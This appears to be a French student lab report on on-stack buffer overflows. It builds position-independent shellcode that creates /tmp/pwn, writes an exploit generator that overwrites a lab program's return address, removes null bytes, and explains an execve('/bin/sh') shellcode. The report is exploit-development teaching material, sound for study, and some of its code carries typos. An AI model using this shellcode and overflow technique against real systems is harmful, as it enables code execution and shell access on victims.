

Compte rendu Sécurité Logicielle

SHELL CODE, ON-STACK BUFFER OVERFLOW

2 éme partie

Réalisé par :

BENARAB Hanane



1 - Building a shellcode:

Le programme **shellcode.s**, fait appel a 02 appels systèmes **Create** et E**xit**, il permet en l'exécutant de créer un fichier *tmp*/ **pwn** avec des droits 666 et exit en retournant la valeur 42

En observant le désassemblage de ce programme en hexadécimale, on voit que l'adresse qui correspond a « **Filename** » est une adresse absolue.

```
Déassemblage de la section .text :
0000000000401000 < start>:
                48 c7 c6 b6 01 00 00
                                                 $0x1b6,%rsi
  401000:
                                          mov
  401007:
                48 c7 c7 00 20 40 00
                                                 $0x402000,%rdi
                                          mov
  40100e:
                48 c7 c0 55 00 00 00
                                                 $0x55,%rax
                                          mov
  401015:
                0f 05
                                          syscall
                48 c7 c7 2a 00 00 00
  401017:
                                                 $0x2a,%rdi
                                          mov
                48 c7 c0 3c 00 00 00
  40101e:
                                                 $0x3c,%rax
                                          mov
  401025:
                0f 05
                                          syscall
```

Comme cette adresse est absolue, on ne peut pas l'utiliser dans n'importe quel autre contexte d'exécution, Pour remédier à ça, on utilise **call** et **pop**

En effet, le **call** effectue deux actions, Il push l'adresse de retour ensuite il jump sur la fonction appelée. En positionnant la chaîne de caractéres /**tmp/pwn** juste aprés le call, ceci implique que son adresse soit empilée dans la pile. En rajoutant **pop** %**RDI**, ceci assurera l'exécution de **sys_create** avec comme paramètre l'adresse de retour qui correspond a la chaîne de caractères /**tmp/pwn**.

```
.text
.globl start
start:
   call start2
   .asciz "/tmp/pwn"
   # creat("/tmp/pwn", 0666)
start2:
   movq $0666, %rsi # read-write perms
   popq %rdi
   #movq $filename, %rdi # name of file
   movq $85, %rax # system call number (sys creat)
   svscall
                     # call kernel
   # exit(42)
   movq $42, %rdi
                        # set return code to 42
   movq $60, %rax
                        # system call number (sys exit)
   syscall
                      # call kernel
```



En exécutant maintenant, le nouveau programme de Shellcode.S et en observant le désassemblage de ce dernier, on voit que l'adresse de **FileName** n'est plus une adresse absolue.

```
00000000000401000 < start>:
  401000:
                e8 09 00 00 00
                                          callq
                                                 40100e < start2>
  401005:
                2f
                                          (bad)
                74 6d
  401006:
                                                 401075 < start2+0x67>
                                          jе
  401008:
                70 2f
                                                 401039 < start2+0x2b>
                                          jo
                                                 401083 < start2+0x75>
  40100a:
                70 77
                                          jο
                                                 %ds:(%rsi),(%dx)
  40100c:
                6e
                                          outsb
000000000040100e < start2>:
                48 c7 c6 b6 01 00 00
  40100e:
                                                 $0x1b6,%rsi
                                          mov
  401015:
                5f
                                                 %rdi
                                          pop
  401016:
                48 c7 c0 55 00 00 00
                                          mov
                                                 $0x55,%rax
  40101d:
                0f 05
                                          syscall
  40101f:
                48 c7 c7 2a 00 00 00
                                                 $0x2a,%rdi
                                          mov
  401026:
                48 c7 c0 3c 00 00 00
                                                 $0x3c,%rax
                                          mov
  40102d:
                0f 05
                                          syscall
```

Comme la taille du buffer de la victime est 64 bits, la taille du nouveau code ne doit pas aussi dépasser 64 bits.

Pour voir si le code fonctionne correctement, on met le langage machine en hexadécimale correspondant a notre code dans un programme C de cette façon :

```
int main() {
    unsigned char shellcode[] =
    {0xe8,0x09,0x00,0x00,0x2f,0x74,0x6d,0x70,0x2f
    ,0x70,0x77,0x6e,0x00,0x48,0xc7,0xc6,0xb6,
    0x01,0x00,0x00,0x5f,0x48,0xc7,0xc0,
    0x55,0x00,0x00,0x00,0x0f,0x05,0x48,0xc7,0xc7,0xc7,0x2a,0x00,
    0x00,0x00,0x48,0xc7,0xc0,0x3c,0x00,0x00,0x0f,0x05};
    (*(void(*)()) shellcode)();
    return 0;
}
```

Après exécution, le ficher tmp/pwn est créé donc le code fonctionne.



A présent, nous allons essayer de le faire exécuter par Anodin. Pour cela, on reprend le code Exploit.c, on remplace le shellcode par le nouveau shellcode que nous avons créé précédemment.

Comme on dispose que de 64 bits et qu'on connaît également l'adresse du buffer d'anodin, on a supprimé les **Nops** (**0x90**) et **ptr**+=**8**

```
#include <stdlib.h>
#include <stdio.h>
unsigned char exploit[1024] =
    {0xe8,0x09,0x00,0x00,0x00,0x2f,
    0x74,0x6d,0x70,0x2f,0x70,0x77,
    0x6e,0x00,0x48,0xc7,0xc6,0xb6,
  0x01,0x00,0x00,0x5f,0x48,0xc7,
  0xc0,0x55,0x00,0x00,0x00,0x0f,
  0x05,0x48,0xc7,0xc7,0x2a,0x00,
  0x00,0x00,0x48,0xc7,0xc0,0x3c,
  0x00,0x00,0x00,0x0f,0x05;
int main(void) {
    int i;
    void **exploit ptr = (void*) &exploit;
    void *ptr;
    fprintf(stderr, "Type the buf address printed by anodin\n");
    scanf("%p", &ptr);
    for (i = 0; i < 8; i++)
        exploit ptr[64/sizeof(void*)+i] = ptr;
    for (i=0;i<sizeof(exploit);i++)</pre>
        putchar(exploit[i]);
    for (i=0;i<8192;i++)
        putchar('\n');
    return 0;
```

Nouveau Programme Exploit.c



On procède comme précédemment, on écrase l'adresse de retour en mettant l'adresse du début du buffer d'anodin, et on remplit le buffer avec notre shellcode, l'objectif étant une fois la fonction litentier () terminé, anodin exécutera le code dans le buffer c'est-à-dire notre shellcode.

Observant désormais la pile :

	0x7fffffffdba0	arg3	0x00007fffffffdc90
ı	0x7fffffffdb98	arg2	0×0000000155555080
ı	0x7fffffffdb90	arg1	0x00007fffffffdc98
ı	0x7fffffffdb88	ret@	0x00005555555551de
ı	0x7fffffffdb80	bp	0x00007fffffffdbb0
ı	0x7fffffffdb78		0x0000555555555245
ı	0x7fffffffdb70		0×0000000000000000
ı	0x7fffffffdb68		0x00007fffff7e30995
	0x7fffffffdb60		$0 \times 00000000000000001$
	0x7fffffffdb58		0x00007fffffffdb86
	0x7fffffffdb50		0x00000000000000c2
	0x7fffffffdb48		0x0000000000f0b5ff
	0x7fffffffdb40		0×0000000000000000
	0x7fffffffdb38		0×0000000000000000
	0x7fffffffdb30	sp	0×00000000000000000

Avant l'exécution de gets()

0x7fffffffdba8			0x00007fffffffdb30
0x7fffffffdba0			0x00007fffffffdb30
0x7fffffffdb98			0x00007fffffffdb30
0x7fffffffdb90			0x00007fffffffdb30
0x7fffffffdb88	ret@		0x00007fffffffdb30
0x7fffffffdb80	bp		0x00007fffffffdb30
0x7fffffffdb78			0x00007fffffffdb30
0x7fffffffdb70			0x00007fffffffdb30
0x7fffffffdb68			0×00000000000000000
0x7fffffffdb60			0×00000000000000000
0x7fffffffdb58			0x00050f0000003cc0
0x7fffffffdb50			0xc7480000002ac7c7
0x7fffffffdb48			0x48050f00000055c0
0x7fffffffdb40			0xc7485f000001b6c6
0x7fffffffdb38			0xc748006e77702f70
0x7fffffffdb30		sp	0x6d742f00000009e8
0x7fffffffdb28			0x0000555555551b6
0x7fffffffdb20			0×0000555555555080
0x7fffffffdb18			0x00007fffffffdb80
0x7fffffffdb10			0×0000000000000000

Aprés l'exécution de gets()

Si on observe, la pile aprés l'exécution de gets(), on voit bien que le buffer est rempli avec notre shellcode et que l'adresse de retour correspond a l'adresse de début du buffer.

Dès la fin de l'exécution de litentier (), ceci assurera l'exécution du shellcode.

La présence des \0 dans le code, pose un problème. C'est dernier peuvent être interprété d'une autre manière que souhaitée, en prenant par exemple « STRCPY » qui s'arrête à chaque \0.

Pour remédier à ça, on a inverser la constante qui contient les permissions et en remplaçant Call/Pop par Jmp/Call/Pop comme le montre le shellcode suivant :



```
.text
.globl start
start:
   jmp getdata
start2:
    movq $0xFFFFFE49, %rsi # read-write perms
    not %rsi
    popq %rdi
   # movq $filename, %rdi # name of file
    movq $85, %rax
                                  # system call number (sys creat)
    syscall
                                  # call kernel
    # exit(42)
   movq $42, %rdi  # set return code to 42
movq $60, %rax  # system call number (sys_exit)
syscall  # call kernel
getdata:
    call start2
    .asciz "/tmp/pwn"
```

2 – Looking at shellcode:

Dans cette partie, on s'intéressera a un shellcode donné et on essaiera de deviner ce que dernier effectue.

2. 64bit:



En désassemblant le programme on obtient ceci :

```
Dump of assembler code from 0x4030 to 0x40ff:
   0x0000000000004030 <shellcode+0>:
                                          xor
                                                 %eax,%eax
   0x0000000000004032 <shellcode+2>:
                                          movabs $0xff978cd091969dd1,%rbx
   0x000000000000403c <shellcode+12>:
                                          neg
                                                 %rbx
   0x000000000000403f <shellcode+15>:
                                          push
                                                 %rbx
   0x0000000000004040 <shellcode+16>:
                                          push
                                                 %rsp
   0x0000000000004041 <shellcode+17>:
                                                 %rdi
                                          pop
   0x0000000000004042 <shellcode+18>:
                                          cltd
   0x0000000000004043 <shellcode+19>:
                                          push
                                                 %rdx
   0x0000000000004044 <shellcode+20>:
                                          push
                                                 %rdi
   0x0000000000004045 <shellcode+21>:
                                                 %rsp
                                          push
   0x0000000000004046 <shellcode+22>:
                                          pop
                                                 %rsi
   0x0000000000004047 <shellcode+23>:
                                                 $0x3b,%al
                                          mov
   0x0000000000004049 <shellcode+25>:
                                          syscall
   0x000000000000404b <shellcode+27>:
                                          add
                                                 %al,(%rax)
   0×00000000000404d:
                         add
                                %al,(%rax)
   0x000000000000404f:
                         .byte 0x0
   0x000000000004050: Cannot access memory at address 0x4050
(gdb) p/x ~ xff978cd091969dd1
$2 = 0x68732f6e69622e
(gdb) p/x "/bin/sh"
$3 = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x0}
(gdb) p/x
```

xor %eax, %eax: On initialise le registre eax a 0.

movabs \$0xff978cd091969dd1,%rbx: on met dans le registre rbx la négation en code ASCII de la commande « bin/sh »

neg %rbx: on inverse pour effectivement avoir l'hexadécimal de bin/ sh dans rbx push %rbx: on empile la valeur de rbx

push %rsp :on empile la valeur du stackpointer qui correspond à l'adresse de ce qui a été empilé avant qui est donc l'adresse qui mène vers la chaine « **bin / sh**»

pop %rdi: on récupère cette adresse dans rdi qui va correspondre également au premier argument de « **EXCEVE** »

push %rdx: Empiler rdx qui est le 3ème argument de « EXCEVE » qui est null. push %rdi: Empiler rdi qui contient l'adresse de la chaine de caractères /bin/sh

push %rsp: on empile l'adresse du stackpointer donc l'adresse qui pointe vers l'adresse de la chaîne bin /sh donc c'est un char * * de premier élément bin /sh, c'est le deuxième argument de execve

pop %rsi: on met le deuxième argument de execve dans rsi

mov \$0x3b,%al: 3b = 59 en décimal, qui correspond à l'appel execve

syscall: Appel system



Finalement, on constate que ce shellcode permet d'exécuter la commande « /bin/sh » sur une victime.